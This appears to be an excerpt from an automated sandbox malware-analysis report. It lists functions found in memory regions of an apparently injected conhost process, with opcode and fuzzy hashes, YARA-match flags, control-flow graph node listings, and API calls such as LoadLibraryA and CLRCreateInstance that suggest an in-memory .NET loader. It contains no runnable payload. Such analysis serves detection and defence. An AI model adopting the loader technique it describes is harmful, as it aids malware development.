                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: a8d8ef67a00c095a78d82b1c4d49d9086c11a8a4b9dff00ce2c7fbf8223a965f
                                                                      • Instruction ID: e5e0abf8e2b31d1ad28d07f67096f94565a73bcdfaaa1bb220473274c1fd5ed3
                                                                      • Opcode Fuzzy Hash: a8d8ef67a00c095a78d82b1c4d49d9086c11a8a4b9dff00ce2c7fbf8223a965f
                                                                      • Instruction Fuzzy Hash: DF313C62B1DAC80FE7A99B2C44B92FA3FE1EF96310B1404BED185C7297CD28A8059341
                                                                      Function 00007FFD34490080 Relevance: .1, Instructions: 98COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 09a530a7af440309acffba6a3b686d71b2d84d136df004988e58660152e634e5
                                                                      • Instruction ID: 7391efab3ed76575388a23a497e62bca51fd161011b75878d1b7b964164811f9
                                                                      • Opcode Fuzzy Hash: 09a530a7af440309acffba6a3b686d71b2d84d136df004988e58660152e634e5
                                                                      • Instruction Fuzzy Hash: C7212E61B1D98C1FF7A9DB2C44B92FE7BE5EF96210F14047ED14AC3296CD18A8059341
                                                                      Function 00007FFD34490852 Relevance: .1, Instructions: 74COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 817fe2b149182bb089cff9ff40e66689bce94415c3e85e694cfd3088f8e022cf
                                                                      • Instruction ID: 4a2f60d7c1c16481bc95d5e59078c05f135ebd9bb0564704fbbd6f323b2636f7
                                                                      • Opcode Fuzzy Hash: 817fe2b149182bb089cff9ff40e66689bce94415c3e85e694cfd3088f8e022cf
                                                                      • Instruction Fuzzy Hash: 1221073190D6C24FE317977448A26E5BFA0EF03210F1906EAD4D4CB0E3DA5C6056D3A2
                                                                      Function 00007FFD34490C16 Relevance: .1, Instructions: 70COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: a6852b40d7242790e3bb34d31fc3ba3641807d5b28e2688b5a4d2638e2862c16
                                                                      • Instruction ID: b0fc130282db1249e6c21de77233467999d082ded9dd6df24bdd476696055010
                                                                      • Opcode Fuzzy Hash: a6852b40d7242790e3bb34d31fc3ba3641807d5b28e2688b5a4d2638e2862c16
                                                                      • Instruction Fuzzy Hash: 0C11E41171D9850FE7AAA77C40763FA7BC1DF86310F4809B9C08AC72E3CC5C6812A345
                                                                      Function 00007FFD34490509 Relevance: .0, Instructions: 40COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 67ea2a5c0e8edf74f1a68c1b36ca23e3504c140d2c5feb6bd47dbe52becc0776
                                                                      • Instruction ID: f53ffa0fdf47d2881ac78775f5ce296c85075d847484a424177d797dd30809ff
                                                                      • Opcode Fuzzy Hash: 67ea2a5c0e8edf74f1a68c1b36ca23e3504c140d2c5feb6bd47dbe52becc0776
                                                                      • Instruction Fuzzy Hash: E3F0B422B1DA8D0FD795E73C44A16A42BE2EF9A22074A05F2D048CB293D91CDC428351
                                                                      Function 00007FFD34490520 Relevance: .0, Instructions: 32COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 0cb9eec26b3f8e4fca8088841247e8066dc982f57fa99233ca4fb68ee375d014
                                                                      • Instruction ID: 16e48daf99895c0a2cdacb07a1a52fe9abb622120fc71a5da8bc2895efde67b8
                                                                      • Opcode Fuzzy Hash: 0cb9eec26b3f8e4fca8088841247e8066dc982f57fa99233ca4fb68ee375d014
                                                                      • Instruction Fuzzy Hash: DAE04F21B18C1D1FDAA8F73C5465A6962D7EBDC210B5606B6E40CC3256DD28DC518380
                                                                      Function 00007FFD344904DC Relevance: .0, Instructions: 21COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: fa6842c03fc1c9f1325a215283b27b4a4e9245abfc5cfead3df3320933ea8aed
                                                                      • Instruction ID: 557d293bc176c1367ec1e4c31d17b270f97e4a6f88e7721722cda677d80c9e9e
                                                                      • Opcode Fuzzy Hash: fa6842c03fc1c9f1325a215283b27b4a4e9245abfc5cfead3df3320933ea8aed
                                                                      • Instruction Fuzzy Hash: ACE0C23150D48C8FCB81DBA8D8581EDBBB0FE46200B04059AD05DC7040C7305412C781

                                                                      Execution Graph

                                                                      Execution Coverage:11.1%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:0%
                                                                      Total number of Nodes:21
                                                                      Total number of Limit Nodes:2
                                                                      execution_graph 2531 1d90d37e306 2533 1d90d37e328 2531->2533 2532 1d90d37e37c 2533->2532 2534 1d90d37e454 LoadLibraryA 2533->2534 2535 1d90d37e469 2533->2535 2534->2533 2535->2532 2542 1d90d37e51d 2535->2542 2550 1d90d37d4a2 2535->2550 2537 1d90d37e4f3 2538 1d90d37e4f7 2537->2538 2543 1d90d37d5ba LoadLibraryA 2537->2543 2538->2532 2538->2537 2541 1d90d37e50c 2541->2532 2541->2542 2542->2532 2545 1d90d37e0b2 2542->2545 2544 1d90d37d5df 2543->2544 2544->2541 2546 1d90d37e0f2 CLRCreateInstance 2545->2546 2548 1d90d37e10b 2545->2548 2546->2548 2547 1d90d37e2b2 2547->2532 2548->2547 2549 1d90d37e2a9 SafeArrayDestroy 2548->2549 2549->2547 2551 1d90d37d4af LoadLibraryA 2550->2551 2552 1d90d37d4c7 2551->2552 2552->2537 2553 1d90d37d4af LoadLibraryA 2554 1d90d37d4c7 2553->2554

                                                                      Executed Functions

                                                                      Function 000001D90D37E306 Relevance: 1.9, APIs: 1, Instructions: 378libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 35 1d90d37e306-1d90d37e357 call 1d90d37f4de * 3 42 1d90d37e389 35->42 43 1d90d37e359-1d90d37e35c 35->43 45 1d90d37e38c-1d90d37e39d 42->45 43->42 44 1d90d37e35e-1d90d37e361 43->44 44->42 46 1d90d37e363-1d90d37e37a 44->46 48 1d90d37e37c-1d90d37e383 46->48 49 1d90d37e39e-1d90d37e3c9 call 1d90d37fa5e call 1d90d37fa7e 46->49 48->42 50 1d90d37e385 48->50 55 1d90d37e406-1d90d37e41d call 1d90d37f4de 49->55 56 1d90d37e3cb-1d90d37e400 call 1d90d37f692 call 1d90d37f552 49->56 50->42 55->42 62 1d90d37e423-1d90d37e424 55->62 56->55 65 1d90d37e662-1d90d37e673 56->65 64 1d90d37e42a-1d90d37e430 62->64 66 1d90d37e432 64->66 67 1d90d37e469-1d90d37e473 64->67 70 1d90d37e675-1d90d37e67f 65->70 71 1d90d37e6a6-1d90d37e6c7 call 1d90d37fa7e 65->71 72 1d90d37e434-1d90d37e436 66->72 68 1d90d37e4a1-1d90d37e4aa 67->68 69 1d90d37e475-1d90d37e490 call 1d90d37f4de 67->69 75 1d90d37e4c5-1d90d37e4c8 68->75 76 1d90d37e4ac-1d90d37e4b6 call 1d90d37d6d2 68->76 69->65 87 1d90d37e496-1d90d37e49f 69->87 70->71 77 1d90d37e681-1d90d37e69f call 1d90d37fa7e 70->77 98 1d90d37e6c9 71->98 99 1d90d37e6cd-1d90d37e6cf 71->99 78 1d90d37e438-1d90d37e43e 72->78 79 1d90d37e450-1d90d37e452 72->79 75->65 84 1d90d37e4ce-1d90d37e4d8 75->84 76->65 95 1d90d37e4bc-1d90d37e4c3 76->95 77->71 78->79 86 1d90d37e440-1d90d37e44e 78->86 79->67 80 1d90d37e454-1d90d37e467 LoadLibraryA 79->80 80->64 89 1d90d37e4e2-1d90d37e4e9 84->89 90 1d90d37e4da-1d90d37e4db 84->90 86->72 86->79 87->68 87->69 92 1d90d37e4eb-1d90d37e4ec 89->92 93 1d90d37e51d-1d90d37e521 89->93 90->89 97 1d90d37e4ee call 1d90d37d4a2 92->97 100 1d90d37e527-1d90d37e549 93->100 101 1d90d37e5fd-1d90d37e605 93->101 95->89 102 1d90d37e4f3-1d90d37e4f5 97->102 98->99 99->45 100->65 113 1d90d37e54f-1d90d37e569 call 1d90d37fa5e 100->113 103 1d90d37e657-1d90d37e65d call 1d90d37eb0e 101->103 104 1d90d37e607-1d90d37e60d 101->104 105 1d90d37e504-1d90d37e507 call 1d90d37d5ba 102->105 106 1d90d37e4f7-1d90d37e4fe 102->106 103->65 109 1d90d37e624-1d90d37e636 call 1d90d37e0b2 104->109 110 1d90d37e60f-1d90d37e615 104->110 116 1d90d37e50c-1d90d37e50e 105->116 106->65 106->105 119 1d90d37e648-1d90d37e655 call 1d90d37db52 109->119 120 1d90d37e638-1d90d37e643 call 1d90d37e6d6 109->120 110->65 114 1d90d37e617-1d90d37e622 call 1d90d37ef6a 110->114 126 1d90d37e589-1d90d37e5b2 113->126 127 1d90d37e56b-1d90d37e56e 113->127 114->65 116->93 121 1d90d37e510-1d90d37e517 116->121 119->65 120->119 121->65 121->93 126->65 133 1d90d37e5b8-1d90d37e5f8 126->133 127->101 128 1d90d37e574-1d90d37e587 call 1d90d37f7e2 127->128 134 1d90d37e5fa-1d90d37e5fb 128->134 133->65 133->134 134->101
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D90D160000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_1d90d160000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: 3e59d4ab724c08e6b22ba473b307acd4b5c1413bc74445e9518118106af40b14
                                                                      • Instruction ID: d2db8a9850c992e70ec49ac757adf0bae8a37fa27b7ff483fca2e87ad3fba60a
                                                                      • Opcode Fuzzy Hash: 3e59d4ab724c08e6b22ba473b307acd4b5c1413bc74445e9518118106af40b14
                                                                      • Instruction Fuzzy Hash: 47C18830314D0A5BEB79DA2CE4D57FD73DDFB98318F54016AF44AD7586EB20E8828A81
                                                                      Function 00007FFD344A50F6 Relevance: .5, Instructions: 468COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 266 7ffd344a50f6-7ffd344a5103 267 7ffd344a5105-7ffd344a510d 266->267 268 7ffd344a510e-7ffd344a51d7 266->268 267->268 272 7ffd344a51d9-7ffd344a51e2 268->272 273 7ffd344a5243 268->273 272->273 275 7ffd344a51e4-7ffd344a51f0 272->275 274 7ffd344a5245-7ffd344a526a 273->274 282 7ffd344a52d6 274->282 283 7ffd344a526c-7ffd344a5275 274->283 276 7ffd344a5229-7ffd344a5241 275->276 277 7ffd344a51f2-7ffd344a5204 275->277 276->274 279 7ffd344a5206 277->279 280 7ffd344a5208-7ffd344a521b 277->280 279->280 280->280 281 7ffd344a521d-7ffd344a5225 280->281 281->276 285 7ffd344a52d8-7ffd344a5380 282->285 283->282 284 7ffd344a5277-7ffd344a5283 283->284 286 7ffd344a5285-7ffd344a5297 284->286 287 7ffd344a52bc-7ffd344a52d4 284->287 296 7ffd344a53ee 285->296 297 7ffd344a5382-7ffd344a538c 285->297 289 7ffd344a5299 286->289 290 7ffd344a529b-7ffd344a52ae 286->290 287->285 289->290 290->290 292 7ffd344a52b0-7ffd344a52b8 290->292 292->287 298 7ffd344a53f0-7ffd344a5419 296->298 297->296 299 7ffd344a538e-7ffd344a539b 297->299 305 7ffd344a541b-7ffd344a5426 298->305 306 7ffd344a5483 298->306 300 7ffd344a539d-7ffd344a53af 299->300 301 7ffd344a53d4-7ffd344a53ec 299->301 303 7ffd344a53b1 300->303 304 7ffd344a53b3-7ffd344a53c6 300->304 301->298 303->304 304->304 307 7ffd344a53c8-7ffd344a53d0 304->307 305->306 308 7ffd344a5428-7ffd344a5436 305->308 309 7ffd344a5485-7ffd344a5516 306->309 307->301 310 7ffd344a5438-7ffd344a544a 308->310 311 7ffd344a546f-7ffd344a5481 308->311 317 7ffd344a551c-7ffd344a552b 309->317 312 7ffd344a544c 310->312 313 7ffd344a544e-7ffd344a5461 310->313 311->309 312->313 313->313 315 7ffd344a5463-7ffd344a546b 313->315 315->311 318 7ffd344a552d 317->318 319 7ffd344a5533-7ffd344a5598 call 7ffd344a55b4 317->319 318->319 326 7ffd344a559a 319->326 327 7ffd344a559f-7ffd344a55b3 319->327 326->327
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: a7dad2d569d4eec11aff04773eadeb3c5b99f33ddb7b4d19b089499f7d5229c2
                                                                      • Instruction ID: d62dff47e6b3943b003f064f8c68adbdb9e5706f7047ddda8c38fceac0786507
                                                                      • Opcode Fuzzy Hash: a7dad2d569d4eec11aff04773eadeb3c5b99f33ddb7b4d19b089499f7d5229c2
                                                                      • Instruction Fuzzy Hash: 66F1B330A09A4D8FEBE8DF28D8557E977E1FF55310F04427AE84DC7295CB78A8458B81
                                                                      Function 00007FFD344A5EA2 Relevance: .5, Instructions: 454COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 328 7ffd344a5ea2-7ffd344a5eaf 329 7ffd344a5eba-7ffd344a5f87 328->329 330 7ffd344a5eb1-7ffd344a5eb9 328->330 334 7ffd344a5f89-7ffd344a5f92 329->334 335 7ffd344a5ff3 329->335 330->329 334->335 336 7ffd344a5f94-7ffd344a5fa0 334->336 337 7ffd344a5ff5-7ffd344a601a 335->337 338 7ffd344a5fd9-7ffd344a5ff1 336->338 339 7ffd344a5fa2-7ffd344a5fb4 336->339 344 7ffd344a6086 337->344 345 7ffd344a601c-7ffd344a6025 337->345 338->337 340 7ffd344a5fb6 339->340 341 7ffd344a5fb8-7ffd344a5fcb 339->341 340->341 341->341 343 7ffd344a5fcd-7ffd344a5fd5 341->343 343->338 346 7ffd344a6088-7ffd344a60ad 344->346 345->344 347 7ffd344a6027-7ffd344a6033 345->347 353 7ffd344a611b 346->353 354 7ffd344a60af-7ffd344a60b9 346->354 348 7ffd344a6035-7ffd344a6047 347->348 349 7ffd344a606c-7ffd344a6084 347->349 351 7ffd344a6049 348->351 352 7ffd344a604b-7ffd344a605e 348->352 349->346 351->352 352->352 355 7ffd344a6060-7ffd344a6068 352->355 357 7ffd344a611d-7ffd344a614b 353->357 354->353 356 7ffd344a60bb-7ffd344a60c8 354->356 355->349 358 7ffd344a60ca-7ffd344a60dc 356->358 359 7ffd344a6101-7ffd344a6119 356->359 363 7ffd344a61bb 357->363 364 7ffd344a614d-7ffd344a6158 357->364 360 7ffd344a60de 358->360 361 7ffd344a60e0-7ffd344a60f3 358->361 359->357 360->361 361->361 365 7ffd344a60f5-7ffd344a60fd 361->365 367 7ffd344a61bd-7ffd344a6295 363->367 364->363 366 7ffd344a615a-7ffd344a6168 364->366 365->359 368 7ffd344a616a-7ffd344a617c 366->368 369 7ffd344a61a1-7ffd344a61b9 366->369 377 7ffd344a629b-7ffd344a62aa 367->377 370 7ffd344a617e 368->370 371 7ffd344a6180-7ffd344a6193 368->371 369->367 370->371 371->371 373 7ffd344a6195-7ffd344a619d 371->373 373->369 378 7ffd344a62ac 377->378 379 7ffd344a62b2-7ffd344a6314 call 7ffd344a6330 377->379 378->379 386 7ffd344a6316 379->386 387 7ffd344a631b-7ffd344a632f 379->387 386->387
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: c98d5dd4318958c8af33d8a17df4c155a85f4ac0ef07193d43c17ce57e5fd719
                                                                      • Instruction ID: a5c1ddc520820205afb0e5a72827bb250cd6eee43b448c720d060d7a41c89749
                                                                      • Opcode Fuzzy Hash: c98d5dd4318958c8af33d8a17df4c155a85f4ac0ef07193d43c17ce57e5fd719
                                                                      • Instruction Fuzzy Hash: 9DE1C530A09A4D8FEBA8DF28C8A57E977E1FF55311F04427EE84DC7295CE7898458B81
                                                                      Function 000001D90D37E0B2 Relevance: 3.2, APIs: 2, Instructions: 235COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D90D160000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_1d90d160000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: ArrayCreateDestroyInstanceSafe
                                                                      • String ID:
                                                                      • API String ID: 3902440814-0
                                                                      • Opcode ID: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction ID: b00786c941d6e535a240f8536debbaaa85bd49989b62a94628551a18c55518da
                                                                      • Opcode Fuzzy Hash: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction Fuzzy Hash: 9C816031208F098FD768EF28D888BEA77E9FF95305F000A6EE49BC7555EA31E5458B41
                                                                      Function 000001D90D37D5BA Relevance: 1.6, APIs: 1, Instructions: 125libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 136 1d90d37d5ba-1d90d37d5dd LoadLibraryA 137 1d90d37d5e9-1d90d37d5fc 136->137 138 1d90d37d5df-1d90d37d5e4 136->138 141 1d90d37d602-1d90d37d613 137->141 142 1d90d37d6be 137->142 139 1d90d37d6c0-1d90d37d6d0 138->139 141->142 143 1d90d37d619-1d90d37d631 141->143 142->139 143->142 145 1d90d37d637-1d90d37d66b call 1d90d37fa5e 143->145 145->142 150 1d90d37d66d-1d90d37d67e 145->150 150->142 151 1d90d37d680-1d90d37d697 150->151 151->142 153 1d90d37d699-1d90d37d6b9 call 1d90d37fa5e 151->153 153->138
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D90D160000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_1d90d160000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: b9899973228e27afe5cd12ba725bdcaa8ab2dda5fbf9bec908c7854605e3daf5
                                                                      • Instruction ID: d1ad7f7809488bf09de026ac22348cfda6f921d8a15ebc7c08e1bb359356cad3
                                                                      • Opcode Fuzzy Hash: b9899973228e27afe5cd12ba725bdcaa8ab2dda5fbf9bec908c7854605e3daf5
                                                                      • Instruction Fuzzy Hash: 7331623170CE188FEB58AA6CB8452EA77D9FBD4314F10115AEC4BC728AED64DD4687C2
                                                                      Function 000001D90D37D4AF Relevance: 1.6, APIs: 1, Instructions: 115libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 157 1d90d37d4af-1d90d37d4c5 LoadLibraryA 158 1d90d37d4d1-1d90d37d4e4 157->158 159 1d90d37d4c7-1d90d37d4cc 157->159 162 1d90d37d5a6 158->162 163 1d90d37d4ea-1d90d37d4fb 158->163 160 1d90d37d5a8-1d90d37d5b8 159->160 162->160 163->162 164 1d90d37d501-1d90d37d519 163->164 164->162 166 1d90d37d51f-1d90d37d553 call 1d90d37fa5e 164->166 166->162 171 1d90d37d555-1d90d37d566 166->171 171->162 172 1d90d37d568-1d90d37d57f 171->172 172->162 174 1d90d37d581-1d90d37d5a1 call 1d90d37fa5e 172->174 174->159
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D90D160000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_1d90d160000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction ID: 8a81c7f9988740293a35952a4c67cea35f26a32998b01bcaf9a817af13a97de3
                                                                      • Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction Fuzzy Hash: A0316431708E188BDB64BA5CA8957E977DAFBD4324F10026AEC4BC72C9EE60DD458781
                                                                      Function 00007FFD344A194F Relevance: 1.6, Strings: 1, Instructions: 332COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: B_H
                                                                      • API String ID: 0-2026106607
                                                                      • Opcode ID: f1b50a4d84689030924af212b7c44927ddcf2a9bbde6c27af4806fb6ce0c4d7c
                                                                      • Instruction ID: 47b8c0db175bd394ad04315bf2ccc143f99d5776e7488ddc5709053f3511819b
                                                                      • Opcode Fuzzy Hash: f1b50a4d84689030924af212b7c44927ddcf2a9bbde6c27af4806fb6ce0c4d7c
                                                                      • Instruction Fuzzy Hash: 85A10971B09A4E4FEBD5EB2C84A927877D1FF9A301B1500B9D50EC7296DE39AC42C741
                                                                      Function 000001D90D37D4A2 Relevance: 1.5, APIs: 1, Instructions: 34libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 244 1d90d37d4a2-1d90d37d4c5 LoadLibraryA 246 1d90d37d4d1-1d90d37d4e4 244->246 247 1d90d37d4c7-1d90d37d4cc 244->247 250 1d90d37d5a6 246->250 251 1d90d37d4ea-1d90d37d4fb 246->251 248 1d90d37d5a8-1d90d37d5b8 247->248 250->248 251->250 252 1d90d37d501-1d90d37d519 251->252 252->250 254 1d90d37d51f-1d90d37d553 call 1d90d37fa5e 252->254 254->250 259 1d90d37d555-1d90d37d566 254->259 259->250 260 1d90d37d568-1d90d37d57f 259->260 260->250 262 1d90d37d581-1d90d37d5a1 call 1d90d37fa5e 260->262 262->247
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D90D160000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_1d90d160000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: b303b3a6f0a3f66d9fcfd97c32c677b44d27de96df93fd6c77a9731dba5744f5
                                                                      • Instruction ID: aa9f68012cdae0ded10ccd9d9a4983e6a1d370d3085e5be98f510c8ae17f8de2
                                                                      • Opcode Fuzzy Hash: b303b3a6f0a3f66d9fcfd97c32c677b44d27de96df93fd6c77a9731dba5744f5
                                                                      • Instruction Fuzzy Hash: DDE0D83120CE1D4FF758A59DE88A3F566DCE795375F00007FFA45C2101F04598910391
                                                                      Function 00007FFD344A092F Relevance: .4, Instructions: 446COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 5c40938301b286b41e0e5f5389ec7c14a60eb927df0bede3d0e14c037445752b
                                                                      • Instruction ID: dd76a4451056c07f00e18e76fd602a4d7278e39faa2c3a517aa65aed0b5c451f
                                                                      • Opcode Fuzzy Hash: 5c40938301b286b41e0e5f5389ec7c14a60eb927df0bede3d0e14c037445752b
                                                                      • Instruction Fuzzy Hash: B4D1C471B09A094FEBD8EF2884A53B877D1EF9A305F4600BAD54EC72D6CE69AC418741
                                                                      Function 00007FFD344A0562 Relevance: .4, Instructions: 375COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: ac9df5529206b228eba8ccbd2fe32fe5e01e91011b0b854fd4656cb67fb2b46b
                                                                      • Instruction ID: 4ec655307e93cb7ee61385951a3574f61319545cc595e3ad223ef778bee73077
                                                                      • Opcode Fuzzy Hash: ac9df5529206b228eba8ccbd2fe32fe5e01e91011b0b854fd4656cb67fb2b46b
                                                                      • Instruction Fuzzy Hash: 76C1C670B09A594FE799EF7C80696A87BE1EF4A301F5100B9D04ECB2E7CD2A6C45C741
                                                                      Function 00007FFD344A0478 Relevance: .2, Instructions: 249COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000016.00000002.2265882249.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_22_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 6725eee10522a0beaf47ab639c84c2d9140d43aa4980417a161ea3fdafa0c546
                                                                      • Instruction ID: c9b28aca3d461aaad8286e60945e275f8fe0cbf7b794d3a258eaf7f8b56cc76c
                                                                      • Opcode Fuzzy Hash: 6725eee10522a0beaf47ab639c84c2d9140d43aa4980417a161ea3fdafa0c546
                                                                      • Instruction Fuzzy Hash: 5181C570B09A5D4FFB95EF7884696B83BE1EF4A301F5100B9D04EC72A6CD296C45CB01
                                                                      Function 00007FFD344A0120 Relevance: .2, Instructions: 217COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
